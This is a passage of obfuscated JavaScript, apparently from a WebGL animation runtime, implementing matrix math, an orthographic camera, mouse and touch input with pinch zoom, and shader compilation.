* _0x51d625[_0x2c4831], _0x28848d[_0x3b4601] = _0xd30822[_0x5dbca2] * _0x51d625[_0x2b46b3] + _0xd30822[_0x2c4831] * _0x51d625[_0x558473] + _0xd30822[_0x3b4601] * _0x51d625[_0x419787] + _0xd30822[_0x1780e3] * _0x51d625[_0x3b4601], _0x28848d[_0x1780e3] = _0xd30822[_0x5dbca2] * _0x51d625[_0x3dff38] + _0xd30822[_0x2c4831] * _0x51d625[_0x2e74be] + _0xd30822[_0x3b4601] * _0x51d625[_0x39725b] + _0xd30822[_0x1780e3] * _0x51d625[_0x1780e3], this['set'](this['temp']); } ['multiplyLeft'](_0x45afaf) { let _0x3b131d = this['temp'], _0x5cdc28 = this['values'], _0x5ebc6a = _0x45afaf['values']; return _0x3b131d[_0x25d618] = _0x5ebc6a[_0x25d618] * _0x5cdc28[_0x25d618] + _0x5ebc6a[_0x55d0aa] * _0x5cdc28[_0x25d647] + _0x5ebc6a[_0x2b46b3] * _0x5cdc28[_0x3a218a] + _0x5ebc6a[_0x3dff38] * _0x5cdc28[_0x5dbca2], _0x3b131d[_0x55d0aa] = _0x5ebc6a[_0x25d618] * _0x5cdc28[_0x55d0aa] + _0x5ebc6a[_0x55d0aa] * _0x5cdc28[_0x2ab09b] + _0x5ebc6a[_0x2b46b3] * _0x5cdc28[_0x17b526] + _0x5ebc6a[_0x3dff38] * _0x5cdc28[_0x2c4831], _0x3b131d[_0x2b46b3] = _0x5ebc6a[_0x25d618] * _0x5cdc28[_0x2b46b3] + _0x5ebc6a[_0x55d0aa] * _0x5cdc28[_0x558473] + _0x5ebc6a[_0x2b46b3] * _0x5cdc28[_0x419787] + _0x5ebc6a[_0x3dff38] * _0x5cdc28[_0x3b4601], _0x3b131d[_0x3dff38] = _0x5ebc6a[_0x25d618] * _0x5cdc28[_0x3dff38] + _0x5ebc6a[_0x55d0aa] * _0x5cdc28[_0x2e74be] + _0x5ebc6a[_0x2b46b3] * _0x5cdc28[_0x39725b] + _0x5ebc6a[_0x3dff38] * _0x5cdc28[_0x1780e3], _0x3b131d[_0x25d647] = _0x5ebc6a[_0x25d647] * _0x5cdc28[_0x25d618] + _0x5ebc6a[_0x2ab09b] * _0x5cdc28[_0x25d647] + _0x5ebc6a[_0x558473] * _0x5cdc28[_0x3a218a] + _0x5ebc6a[_0x2e74be] * _0x5cdc28[_0x5dbca2], _0x3b131d[_0x2ab09b] = _0x5ebc6a[_0x25d647] * _0x5cdc28[_0x55d0aa] + _0x5ebc6a[_0x2ab09b] * _0x5cdc28[_0x2ab09b] + _0x5ebc6a[_0x558473] * _0x5cdc28[_0x17b526] + _0x5ebc6a[_0x2e74be] * _0x5cdc28[_0x2c4831], _0x3b131d[_0x558473] = _0x5ebc6a[_0x25d647] * _0x5cdc28[_0x2b46b3] + _0x5ebc6a[_0x2ab09b] * _0x5cdc28[_0x558473] + _0x5ebc6a[_0x558473] * _0x5cdc28[_0x419787] + _0x5ebc6a[_0x2e74be] * _0x5cdc28[_0x3b4601], _0x3b131d[_0x2e74be] = _0x5ebc6a[_0x25d647] * _0x5cdc28[_0x3dff38] + _0x5ebc6a[_0x2ab09b] * _0x5cdc28[_0x2e74be] + _0x5ebc6a[_0x558473] * _0x5cdc28[_0x39725b] + _0x5ebc6a[_0x2e74be] * _0x5cdc28[_0x1780e3], _0x3b131d[_0x3a218a] = _0x5ebc6a[_0x3a218a] * _0x5cdc28[_0x25d618] + _0x5ebc6a[_0x17b526] * _0x5cdc28[_0x25d647] + _0x5ebc6a[_0x419787] * _0x5cdc28[_0x3a218a] + _0x5ebc6a[_0x39725b] * _0x5cdc28[_0x5dbca2], _0x3b131d[_0x17b526] = _0x5ebc6a[_0x3a218a] * _0x5cdc28[_0x55d0aa] + _0x5ebc6a[_0x17b526] * _0x5cdc28[_0x2ab09b] + _0x5ebc6a[_0x419787] * _0x5cdc28[_0x17b526] + _0x5ebc6a[_0x39725b] * _0x5cdc28[_0x2c4831], _0x3b131d[_0x419787] = _0x5ebc6a[_0x3a218a] * _0x5cdc28[_0x2b46b3] + _0x5ebc6a[_0x17b526] * _0x5cdc28[_0x558473] + _0x5ebc6a[_0x419787] * _0x5cdc28[_0x419787] + _0x5ebc6a[_0x39725b] * _0x5cdc28[_0x3b4601], _0x3b131d[_0x39725b] = _0x5ebc6a[_0x3a218a] * _0x5cdc28[_0x3dff38] + _0x5ebc6a[_0x17b526] * _0x5cdc28[_0x2e74be] + _0x5ebc6a[_0x419787] * _0x5cdc28[_0x39725b] + _0x5ebc6a[_0x39725b] * _0x5cdc28[_0x1780e3], _0x3b131d[_0x5dbca2] = _0x5ebc6a[_0x5dbca2] * _0x5cdc28[_0x25d618] + _0x5ebc6a[_0x2c4831] * _0x5cdc28[_0x25d647] + _0x5ebc6a[_0x3b4601] * _0x5cdc28[_0x3a218a] + _0x5ebc6a[_0x1780e3] * _0x5cdc28[_0x5dbca2], _0x3b131d[_0x2c4831] = _0x5ebc6a[_0x5dbca2] * _0x5cdc28[_0x55d0aa] + _0x5ebc6a[_0x2c4831] * _0x5cdc28[_0x2ab09b] + _0x5ebc6a[_0x3b4601] * _0x5cdc28[_0x17b526] + _0x5ebc6a[_0x1780e3] * _0x5cdc28[_0x2c4831], _0x3b131d[_0x3b4601] = _0x5ebc6a[_0x5dbca2] * _0x5cdc28[_0x2b46b3] + _0x5ebc6a[_0x2c4831] * _0x5cdc28[_0x558473] + _0x5ebc6a[_0x3b4601] * _0x5cdc28[_0x419787] + _0x5ebc6a[_0x1780e3] * _0x5cdc28[_0x3b4601], _0x3b131d[_0x1780e3] = _0x5ebc6a[_0x5dbca2] * _0x5cdc28[_0x3dff38] + _0x5ebc6a[_0x2c4831] * _0x5cdc28[_0x2e74be] + _0x5ebc6a[_0x3b4601] * _0x5cdc28[_0x39725b] + _0x5ebc6a[_0x1780e3] * _0x5cdc28[_0x1780e3], this['set'](this['temp']); } ['lookAt'](_0x471253, _0x4a012c, _0x27d3bf) { let _0x21971e = _0x1fd063['xAxis'], _0x2ab86b = _0x1fd063['yAxis'], _0x1cb3fb = _0x1fd063['zAxis']; _0x1cb3fb['setFrom'](_0x4a012c)['normalize'](), _0x21971e['setFrom'](_0x4a012c)['normalize'](), _0x21971e['cross'](_0x27d3bf)['normalize'](), _0x2ab86b['setFrom'](_0x21971e)['cross'](_0x1cb3fb)['normalize'](), this['identity'](); let _0x5c06ed = this['values']; return _0x5c06ed[_0x25d618] = _0x21971e['x'], _0x5c06ed[_0x55d0aa] = _0x21971e['y'], _0x5c06ed[_0x2b46b3] = _0x21971e['z'], _0x5c06ed[_0x25d647] = _0x2ab86b['x'], _0x5c06ed[_0x2ab09b] = _0x2ab86b['y'], _0x5c06ed[_0x558473] = _0x2ab86b['z'], _0x5c06ed[_0x3a218a] = -_0x1cb3fb['x'], _0x5c06ed[_0x17b526] = -_0x1cb3fb['y'], _0x5c06ed[_0x419787] = -_0x1cb3fb['z'], _0x1fd063['tmpMatrix']['identity'](), _0x1fd063['tmpMatrix']['values'][_0x3dff38] = -_0x471253['x'], _0x1fd063['tmpMatrix']['values'][_0x2e74be] = -_0x471253['y'], _0x1fd063['tmpMatrix']['values'][_0x39725b] = -_0x471253['z'], this['multiply'](_0x1fd063['tmpMatrix']), this; } }, _0x2e564e = _0x1fd063; _0x2e564e['xAxis'] = new _0x5917a2(), _0x2e564e['yAxis'] = new _0x5917a2(), _0x2e564e['zAxis'] = new _0x5917a2(), _0x2e564e['tmpMatrix'] = new _0x1fd063(); var _0x29adc8 = class { constructor(_0x55ee64, _0xa7b72) { this['position'] = new _0x5917a2(0x0, 0x0, 0x0), this['direction'] = new _0x5917a2(0x0, 0x0, -0x1), this['up'] = new _0x5917a2(0x0, 0x1, 0x0), this['near'] = 0x0, this['far'] = 0x64, this['zoom'] = 0x1, this['viewportWidth'] = 0x0, this['viewportHeight'] = 0x0, this['projectionView'] = new _0x2e564e(), this['inverseProjectionView'] = new _0x2e564e(), this['projection'] = new _0x2e564e(), this['view'] = new _0x2e564e(), this['viewportWidth'] = _0x55ee64, this['viewportHeight'] = _0xa7b72, this['update'](); } ['update']() { let _0x187ef9 = this['projection'], _0x17713e = this['view'], _0x16ac6f = this['projectionView'], _0x11d186 = this['inverseProjectionView'], _0x32b54d = this['zoom'], _0x1314ff = this['viewportWidth'], _0x1e02a3 = this['viewportHeight']; _0x187ef9['ortho'](_0x32b54d * (-_0x1314ff / 0x2), _0x32b54d * (_0x1314ff / 0x2), _0x32b54d * (-_0x1e02a3 / 0x2), _0x32b54d * (_0x1e02a3 / 0x2), this['near'], this['far']), _0x17713e['lookAt'](this['position'], this['direction'], this['up']), _0x16ac6f['set'](_0x187ef9['values']), _0x16ac6f['multiply'](_0x17713e), _0x11d186['set'](_0x16ac6f['values'])['invert'](); } ['screenToWorld'](_0x53b963, _0x4fe3cc, _0x21a2b3) { let _0x17fa61 = _0x53b963['x'], _0x55e815 = _0x21a2b3 - _0x53b963['y'] - 0x1; return _0x53b963['x'] = 0x2 * _0x17fa61 / _0x4fe3cc - 0x1, _0x53b963['y'] = 0x2 * _0x55e815 / _0x21a2b3 - 0x1, _0x53b963['z'] = 0x2 * _0x53b963['z'] - 0x1, _0x53b963['project'](this['inverseProjectionView']), _0x53b963; } ['worldToScreen'](_0x32bff9, _0x31c267, _0x1aaae7) { return _0x32bff9['project'](this['projectionView']), _0x32bff9['x'] = _0x31c267 * (_0x32bff9['x'] + 0x1) / 0x2, _0x32bff9['y'] = _0x1aaae7 * (_0x32bff9['y'] + 0x1) / 0x2, _0x32bff9['z'] = (_0x32bff9['z'] + 0x1) / 0x2, _0x32bff9; } ['setViewport'](_0x551c48, _0x1adfa) { this['viewportWidth'] = _0x551c48, this['viewportHeight'] = _0x1adfa; } }, _0x2c6a0e = class { constructor(_0x43df56) { this['mouseX'] = 0x0, this['mouseY'] = 0x0, this['buttonDown'] = !0x1, this['touch0'] = null, this['touch1'] = null, this['initialPinchDistance'] = 0x0, this['listeners'] = new Array(), this['eventListeners'] = [], this['element'] = _0x43df56, this['setupCallbacks'](_0x43df56); } ['setupCallbacks'](_0x1fa7d1) { let _0x5ebe26 = _0xb3543b => { if (_0xb3543b instanceof MouseEvent) { let _0x4f4e0f = _0x1fa7d1['getBoundingClientRect'](); this['mouseX'] = _0xb3543b['clientX'] - _0x4f4e0f['left'], this['mouseY'] = _0xb3543b['clientY'] - _0x4f4e0f['top'], this['listeners']['map'](_0x66ac89 => { this['buttonDown'] ? _0x66ac89['dragged'] && _0x66ac89['dragged'](this['mouseX'], this['mouseY']) : _0x66ac89['moved'] && _0x66ac89['moved'](this['mouseX'], this['mouseY']); }); } }, _0x937fc1 = _0x285e2f => { if (_0x285e2f instanceof MouseEvent) { let _0x4578c7 = _0x1fa7d1['getBoundingClientRect'](); this['mouseX'] = _0x285e2f['clientX'] - _0x4578c7['left'], this['mouseY'] = _0x285e2f['clientY'] - _0x4578c7['top'], this['buttonDown'] = !0x1, this['listeners']['map'](_0x37c24f => { _0x37c24f['up'] && _0x37c24f['up'](this['mouseX'], this['mouseY']); }), document['removeEventListener']('mousemove', _0x5ebe26), document['removeEventListener']('mouseup', _0x937fc1); } }; _0x1fa7d1['addEventListener']('mousedown', _0xd2db38 => { if (_0xd2db38 instanceof MouseEvent) { let _0x11627c = _0x1fa7d1['getBoundingClientRect'](); this['mouseX'] = _0xd2db38['clientX'] - _0x11627c['left'], this['mouseY'] = _0xd2db38['clientY'] - _0x11627c['top'], this['buttonDown'] = !0x0, this['listeners']['map'](_0x4ed987 => { _0x4ed987['down'] && _0x4ed987['down'](this['mouseX'], this['mouseY']); }), document['addEventListener']('mousemove', _0x5ebe26), document['addEventListener']('mouseup', _0x937fc1); } }, !0x0), _0x1fa7d1['addEventListener']('mousemove', _0x5ebe26, !0x0), _0x1fa7d1['addEventListener']('mouseup', _0x937fc1, !0x0), _0x1fa7d1['addEventListener']('wheel', _0x300595 => { _0x300595['preventDefault'](); let _0x659f1 = _0x300595['deltaY']; _0x300595['deltaMode'] == WheelEvent['DOM_DELTA_LINE'] && (_0x659f1 *= 0x8), _0x300595['deltaMode'] == WheelEvent['DOM_DELTA_PAGE'] && (_0x659f1 *= 0x18), this['listeners']['map'](_0x4dd3f7 => { _0x4dd3f7['wheel'] && _0x4dd3f7['wheel'](_0x300595['deltaY']); }); }, !0x0), _0x1fa7d1['addEventListener']('touchstart', _0x30ad6a => { if (!this['touch0'] || !this['touch1']) { let _0x636b95 = _0x30ad6a['changedTouches']['item'](0x0); if (!_0x636b95) return; let _0x335ec8 = _0x1fa7d1['getBoundingClientRect'](), _0x396b9f = _0x636b95['clientX'] - _0x335ec8['left'], _0x385a93 = _0x636b95['clientY'] - _0x335ec8['top'], _0x43de85 = new _0x5df4f4(_0x636b95['identifier'], _0x396b9f, _0x385a93); if (this['mouseX'] = _0x396b9f, this['mouseY'] = _0x385a93, this['buttonDown'] = !0x0, this['touch0']) { if (!this['touch1']) { this['touch1'] = _0x43de85; let _0x11d4af = this['touch1']['x'] - this['touch0']['x'], _0x4b5bcf = this['touch1']['x'] - this['touch0']['x']; this['initialPinchDistance'] = Math['sqrt'](_0x11d4af * _0x11d4af + _0x4b5bcf * _0x4b5bcf), this['listeners']['map'](_0x35be5c => { _0x35be5c['zoom'] && _0x35be5c['zoom'](this['initialPinchDistance'], this['initialPinchDistance']); }); } } else this['touch0'] = _0x43de85, this['listeners']['map'](_0x499356 => { _0x499356['down'] && _0x499356['down'](_0x43de85['x'], _0x43de85['y']); }); } _0x30ad6a['preventDefault'](); }, !0x1), _0x1fa7d1['addEventListener']('touchmove', _0x5c91d8 => { if (this['touch0']) { var _0xf048f9 = _0x5c91d8['changedTouches']; let _0x5257ee = _0x1fa7d1['getBoundingClientRect'](); for (var _0x5743d5 = 0x0; _0x5743d5 < _0xf048f9['length']; _0x5743d5++) { var _0xf3d424 = _0xf048f9[_0x5743d5]; let _0x5a4fe8 = _0xf3d424['clientX'] - _0x5257ee['left'], _0x3ec011 = _0xf3d424['clientY'] - _0x5257ee['top']; this['touch0']['identifier'] === _0xf3d424['identifier'] && (this['touch0']['x'] = this['mouseX'] = _0x5a4fe8, this['touch0']['y'] = this['mouseY'] = _0x3ec011, this['listeners']['map'](_0x223337 => { _0x223337['dragged'] && _0x223337['dragged'](_0x5a4fe8, _0x3ec011); })), this['touch1'] && this['touch1']['identifier'] === _0xf3d424['identifier'] && (this['touch1']['x'] = this['mouseX'] = _0x5a4fe8, this['touch1']['y'] = this['mouseY'] = _0x3ec011); } if (this['touch0'] && this['touch1']) { let _0x422c86 = this['touch1']['x'] - this['touch0']['x'], _0xd7e10a = this['touch1']['x'] - this['touch0']['x'], _0x47a193 = Math['sqrt'](_0x422c86 * _0x422c86 + _0xd7e10a * _0xd7e10a); this['listeners']['map'](_0x3148c1 => { _0x3148c1['zoom'] && _0x3148c1['zoom'](this['initialPinchDistance'], _0x47a193); }); } } _0x5c91d8['preventDefault'](); }, !0x1); let _0x34472e = _0x1474c8 => { if (this['touch0']) { var _0x1a5d5b = _0x1474c8['changedTouches']; let _0x149513 = _0x1fa7d1['getBoundingClientRect'](); for (var _0x2e39ee = 0x0; _0x2e39ee < _0x1a5d5b['length']; _0x2e39ee++) { var _0x4f31ad = _0x1a5d5b[_0x2e39ee]; let _0x976110 = _0x4f31ad['clientX'] - _0x149513['left'], _0x196a66 = _0x4f31ad['clientY'] - _0x149513['top']; if (this['touch0']['identifier'] === _0x4f31ad['identifier']) { if (this['touch0'] = null, this['mouseX'] = _0x976110, this['mouseY'] = _0x196a66, this['listeners']['map'](_0x33225e => { _0x33225e['up'] && _0x33225e['up'](_0x976110, _0x196a66); }), !this['touch1']) { this['buttonDown'] = !0x1; break; } this['touch0'] = this['touch1'], this['touch1'] = null, this['mouseX'] = this['touch0']['x'], this['mouseX'] = this['touch0']['x'], this['buttonDown'] = !0x0, this['listeners']['map'](_0x397516 => { _0x397516['down'] && _0x397516['down'](this['touch0']['x'], this['touch0']['y']); }); } this['touch1'] && this['touch1']['identifier'] && (this['touch1'] = null); } } _0x1474c8['preventDefault'](); }; _0x1fa7d1['addEventListener']('touchend', _0x34472e, !0x1), _0x1fa7d1['addEventListener']('touchcancel', _0x34472e); } ['addListener'](_0x5b83dc) { this['listeners']['push'](_0x5b83dc); } ['removeListener'](_0x345016) { let _0x1228bb = this['listeners']['indexOf'](_0x345016); _0x1228bb > -0x1 && this['listeners']['splice'](_0x1228bb, 0x1); } }, _0x5df4f4 = class { constructor(_0x55cb11, _0x5ec0b3, _0x2c84d2) { this['identifier'] = _0x55cb11, this['x'] = _0x5ec0b3, this['y'] = _0x2c84d2; } }, _0x82a26b = class { constructor(_0x4bd1d3, _0xd7eeb6) { this['canvas'] = _0x4bd1d3, this['camera'] = _0xd7eeb6; let _0x33c939 = 0x0, _0x2884c2 = 0x0, _0x4f5d7f = 0x0, _0x107b27 = 0x0, _0x48b51f = 0x0, _0x5d1271 = 0x0, _0xfa6ee6 = 0x0; new _0x2c6a0e(_0x4bd1d3)['addListener']({ 'down': (_0x1ac020, _0x1c6604) => { _0x33c939 = _0xd7eeb6['position']['x'], _0x2884c2 = _0xd7eeb6['position']['y'], _0x4f5d7f = _0x48b51f = _0x1ac020, _0x107b27 = _0x5d1271 = _0x1c6604, _0xfa6ee6 = _0xd7eeb6['zoom']; }, 'dragged': (_0x25c394, _0x15be97) => { let _0x4723eb = _0x25c394 - _0x4f5d7f, _0x1e0f46 = _0x15be97 - _0x107b27, _0x41f30c = _0xd7eeb6['screenToWorld'](new _0x5917a2(0x0, 0x0), _0x4bd1d3['clientWidth'], _0x4bd1d3['clientHeight']), _0x3f5857 = _0xd7eeb6['screenToWorld'](new _0x5917a2(_0x4723eb, _0x1e0f46), _0x4bd1d3['clientWidth'], _0x4bd1d3['clientHeight'])['sub'](_0x41f30c); _0xd7eeb6['position']['set'](_0x33c939 - _0x3f5857['x'], _0x2884c2 - _0x3f5857['y'], 0x0), _0xd7eeb6['update'](), _0x48b51f = _0x25c394, _0x5d1271 = _0x15be97; }, 'wheel': _0x2a23c7 => { let _0x481c7f = _0x2a23c7 / 0xc8 * _0xd7eeb6['zoom'], _0x4f5aa6 = _0xd7eeb6['zoom'] + _0x481c7f; if (_0x4f5aa6 > 0x0) { let _0x4f6ba2 = 0x0, _0x21e858 = 0x0; if (_0x2a23c7 < 0x0) _0x4f6ba2 = _0x48b51f, _0x21e858 = _0x5d1271; else { let _0x1b66ee = new _0x5917a2(_0x4bd1d3['clientWidth'] / 0x2 + 0xf, _0x4bd1d3['clientHeight'] / 0x2), _0x535b1e = _0x48b51f - _0x1b66ee['x'], _0x672ffd = _0x4bd1d3['clientHeight'] - 0x1 - _0x5d1271 - _0x1b66ee['y']; _0x4f6ba2 = _0x1b66ee['x'] - _0x535b1e, _0x21e858 = _0x4bd1d3['clientHeight'] - 0x1 - _0x1b66ee['y'] + _0x672ffd; } let _0x1aa410 = _0xd7eeb6['screenToWorld'](new _0x5917a2(_0x4f6ba2, _0x21e858), _0x4bd1d3['clientWidth'], _0x4bd1d3['clientHeight']); _0xd7eeb6['zoom'] = _0x4f5aa6, _0xd7eeb6['update'](); let _0x5dd349 = _0xd7eeb6['screenToWorld'](new _0x5917a2(_0x4f6ba2, _0x21e858), _0x4bd1d3['clientWidth'], _0x4bd1d3['clientHeight']); _0xd7eeb6['position']['add'](_0x1aa410['sub'](_0x5dd349)), _0xd7eeb6['update'](); } }, 'zoom': (_0x234423, _0x4610e7) => { let _0x4eb1e6 = _0x234423 / _0x4610e7; _0xd7eeb6['zoom'] = _0xfa6ee6 * _0x4eb1e6; }, 'up': (_0x4be28, _0x3e1f63) => { _0x48b51f = _0x4be28, _0x5d1271 = _0x3e1f63; }, 'moved': (_0x3f8793, _0x4de1e8) => { _0x48b51f = _0x3f8793, _0x5d1271 = _0x4de1e8; } }); } }, _0x38609a = class { constructor(_0x5d22ca, _0x71686c, _0x4a8c6b) { this['vertexShader'] = _0x71686c, this['fragmentShader'] = _0x4a8c6b, this['vs'] = null, this['fs'] = null, this['program'] = null, this['tmp2x2'] = new Float32Array(0x4), this['tmp3x3'] = new Float32Array(0x9), this['tmp4x4'] = new Float32Array(0x10), this['vsSource'] = _0x71686c, this['fsSource'] = _0x4a8c6b, this['context'] = _0x5d22ca instanceof _0x48af2d ? _0x5d22ca : new _0x48af2d(_0x5d22ca), this['context']['addRestorable'](this), this['compile'](); } ['getProgram']() { return this['program']; } ['getVertexShader']() { return this['vertexShader']; } ['getFragmentShader']() { return this['fragmentShader']; } ['getVertexShaderSource']() { return this['vsSource']; } ['getFragmentSource']() { return this['fsSource']; } ['compile']() { let _0x2df3d4 = this['context']['gl']; try { if (this['vs'] = this['compileShader'](_0x2df3d4['VERTEX_SHADER'], this['vertexShader']), !this['vs']) throw new Error('Couldn\x27t\x20compile\x20vertex\x20shader.'); if (this['fs'] = this['compileShader'](_0x2df3d4['FRAGMENT_SHADER'], this['fragmentShader']), !this['fs']) throw new Error('Couldn#t\x20compile\x20fragment\x20shader.'); this['program'] = this['compileProgram'](this['vs'], this['fs']); } catch (_0x2831a8) { throw this['dispose'](), _0x2831a8; } } ['compileShader'](_0x457d1f, _0x809cfc) { let _0x367fba = this['context']['gl'], _0x4b6437 = _0x367fba['createShader'](_0x457d1f); if (!_0x4b6437) throw new Error('Couldn\x27t\x20create\x20shader.'); if (_0x367fba['shaderSource'](_0x4b6437, _0x809cfc), _0x367fba['compileShader'](_0x4b6437), !_0x367fba['getShaderParameter'](_0x4b6437, _0x367fba['COMPILE_STATUS'])) { let _0x6b3425 = 'Couldn\x27t\x20compile\x20shader:\x20' + _0x367fba['getShaderInfoLog'](_0x4b6437); if (_0x367fba['deleteShader'](_0x4b6437), !_0x367fba['isContextLost']()) throw new Error(_0x6b3425); } return _0x4b6437; } ['compileProgram'](_0x188ac1, _0x298d20) { let _0x53bf23 = this['context']['gl'], _0x1aa231 = _0x53bf23['createProgram'](); if (!_0x1aa231) throw new Error('Couldn\x27t\x20compile\x20program.'); if (_0x53bf23['attachShader'](_0x1aa231, _0x188ac1), _0x53bf23['attachShader'](_0x1aa231, _0x298d20), _0x53bf23['linkProgram'](_0x1aa231), !_0x53bf23['getProgramParameter'](_0x1aa231, _0x53bf23['LINK_STATUS'])) { let _0x1ed8fe = 'Couldn\x27t\x20compile\x20shader\x20program:\x20' + _0x53bf23['getProgramInfoLog'](_0x1aa231); if (_0x53bf23['deleteProgram'](_0x1aa231), !_0x53bf23['isContextLost']()) throw new Error(_0x1ed8fe); } return _0x1aa231; } ['restore']() { this['compile'](); } ['bind']() { this['context']['gl']['useProgram'](this['program']); } ['unbind']() { this['context']['gl']['useProgram'](null); } ['setUniformi'](_0x35e4d1, _0x342649) { this['context']['gl']['uniform1i'](this['getUniformLocation'](_0x35e4d1), _0x342649); } ['setUniformf'](_0x4325c6, _0x400732) { this['context']['gl']['uniform1f'](this['getUniformLocation'](_0x4325c6), _0x400732); } ['setUniform2f'](_0x2fc546, _0xe980b6, _0x191d25) { this['context']['gl']['uniform2f'](this['getUniformLocation'](_0x2fc546), _0xe980b6, _0x191d25); } ['setUniform3f'](_0x2b4cce, _0x5acf48, _0x52a135, _0x37f23e) { this['context']['gl']['uniform3f'](this['getUniformLocation'](_0x2b4cce), _0x5acf48, _0x52a135, _0x37f23e); } ['setUniform4f'](_0x36c513, _0x5a6c7d, _0x5a9916, _0x561e6b, _0x3be262) { this['context']['gl']['uniform4f'](this['getUniformLocation'](_0x36c513), _0x5a6c7d, _0x5a9916, _0x561e6b, _0x3be262); } ['setUniform2x2f'](_0x4fa3c5, _0x50f8ef) { let _0x59a279 = this['context']['gl']; this['tmp2x2']['set'](_0x50f8ef), _0x59a279['uniformMatrix2fv'](this['getUniformLocation'](_0x4fa3c5), !0x1, this['tmp2x2']); } ['setUniform3x3f'](_0x1847e3, _0x580215) { let _0x23341d = this['context']['gl']; this['tmp3x3']['set'](_0x580215), _0x23341d['uniformMatrix3fv'](this['getUniformLocation'](_0x1847e3), !0x1, this['tmp3x3']); } ['setUniform4x4f'](_0x792c04, _0x7b07b9) { let _0xcdb12b = this['context']['gl']; this['tmp4x4']['set'](_0x7b07b9), _0xcdb12b['uniformMatrix4fv'](this['getUniformLocation'](_0x792c04), !0x1, this['tmp4x4']); } ['getUniformLocation'](_0x31ed0d) { let _0x4c610c = this['context']['gl']; if (!this['program']) throw new Error('Shader\x20not\x20compiled.'); let _0x1ace86 = _0x4c610c['getUniformLocation'](this['program'], _0x31ed0d); if (!_0x1ace86 && !_0x4c610c['isContextLost']()) throw new Error('Couldn\x27t\x20find\x20location\x20for\x20uniform\x20' + _0x31ed0d); return _0x1ace86; } ['getAttributeLocation'](_0x48f65b) { let _0x3d9ff9 = this['context']['gl']; if (!this['program']) throw new Error('Shader\x20not\x20compiled.'); let _0x4fea81 = _0x3d9ff9['getAttribLocation'](this['program'], _0x48f65b); if (-0x1 == _0x4fea81 && !_0x3d9ff9['isContextLost']()) throw new Error('Couldn\x27t\x20find\x20location\x20for\x20attribute\x20' + _0x48f65b); return _0x4fea81; } ['dispose']() { this['context']['removeRestorable'](this); let _0x3c480b = this['context']['gl']; this['vs'] && (_0x3c480b['deleteShader'](this['vs']), this['vs'] = null), this['fs'] && (_0x3c480b['deleteShader'](this['fs']), this['fs'] = null), this['program'] && (_0x3c480b['deleteProgram'](this['program']), this['program'] = null); } static ['newColoredTextured'](_0x544eb9) { let _0x2f44f6 = '\x0a\x09\x09\x09\x09attribute\x20vec4\x20' + _0x38609a['POSITION'] + ';\x0a\x09\x09\x09\x09attribute\x20vec4\x20' + _0x38609a['COLOR'] + ';\x0a\x09\x09\x09\x09attribute\x20vec2\x20' + _0x38609a['TEXCOORDS'] + ';\x0a\x09\x09\x09\x09uniform\x20mat4\x20' + _0x38609a['MVP_MATRIX'] + ';\x0a\x09\x09\x09\x09varying\x20vec4\x20v_color;\x0a\x09\x09\x09\x09varying\x20vec2\x20v_texCoords;\x0a\x0a\x09\x09\x09\x09void\x20main\x20()\x20{\x0a\x09\x09\x09\x09\x09v_color\x20=\x20' + _0x38609a['COLOR'] + ';\x0a\x09\x09\x09\x09\x09v_texCoords\x20=\x20' + _0x38609a['TEXCOORDS'] + ';\x0a\x09\x09\x09\x09\x09gl_Position\x20=\x20' + _0x38609a['MVP_MATRIX'] + '\x20*\x20' + _0x38609a['POSITION'] + ';\x0a\x09\x09\x09\x09}\x0a\x09\x09\x09'; return new _0x38609a(_0x544eb9, _0x2f44f6, '\x0a\x09\x09\x09\x09#ifdef\x20GL_ES\x0a\x09\x09\x09\x09\x09#define\x20LOWP\x20lowp\x0a\x09\x09\x09\x09\x09precision\x20mediump\x20float;\x0a\x09\x09\x09\x09#else\x0a\x09\x09\x09\x09\x09#define\x20LOWP\x0a\x09\x09\x09\x09#endif\x0a\x09\x09\x09\x09varying\x20LOWP\x20vec4\x20v_color;\x0a\x09\x09\x09\x09varying\x20vec2\x20v_texCoords;\x0a\x09\x09\x09\x09uniform\x20sampler2D\x20u_texture;\x0a\x0a\x09\x09\x09\x09void\x20main\x20()\x20{\x0a\x09\x09\x09\x09\x09gl_FragColor\x20=\x20v_color\x20*\x20texture2D(u_texture,\x20v_texCoords);\x0a\x09\x09\x09\x09}\x0a\x09\x09\x09'); } static ['newTwoColoredTextured'](_0x545bb5) { let _0x3e0737 = '\x0a\x09\x09\x09\x09attribute\x20vec4\x20' + _0x38609a['POSITION'] + ';\x0a\x09\x09\x09\x09attribute\x20vec4\x20' + _0x38609a['COLOR'] + ';\x0a\x09\x09\x09\x09attribute\x20vec4\x20' + _0x38609a['COLOR2'] + ';\x0a\x09\x09\x09\x09attribute\x20vec2\x20' + _0x38609a['TEXCOORDS'] + ';\x0a\x09\x09\x09\x09uniform\x20mat4\x20' + _0x38609a['MVP_MATRIX'] + ';\x0a\x09\x09\x09\x09varying\x20vec4\x20v_light;\x0a\x09\x09\x09\x09varying\x20vec4\x20v_dark;\x0a\x09\x09\x09\x09varying\x20vec2\x20v_texCoords;\x0a\x0a\x09\x09\x09\x09void\x20main\x20()\x20{\x0a\x09\x09\x09\x09\x09v_light\x20=\x20' + _0x38609a['COLOR'] + ';\x0a\x09\x09\x09\x09\x09v_dark\x20=\x20' + _0x38609a['COLOR2'] + ';\x0a\x09\x09\x09\x09\x09v_texCoords\x20=\x20' + _0x38609a['TEXCOORDS'] + ';\x0a\x09\x09\x09\x09\x09gl_Position\x20=\x20' + _0x38609a['MVP_MATRIX'] + '\x20*\x20' + _0x38609a['POSITION'] + ';\x0a\x09\x09\x09\x09}\x0a\x09\x09\x09'; return new _0x38609a(_0x545bb5, _0x3e0737, 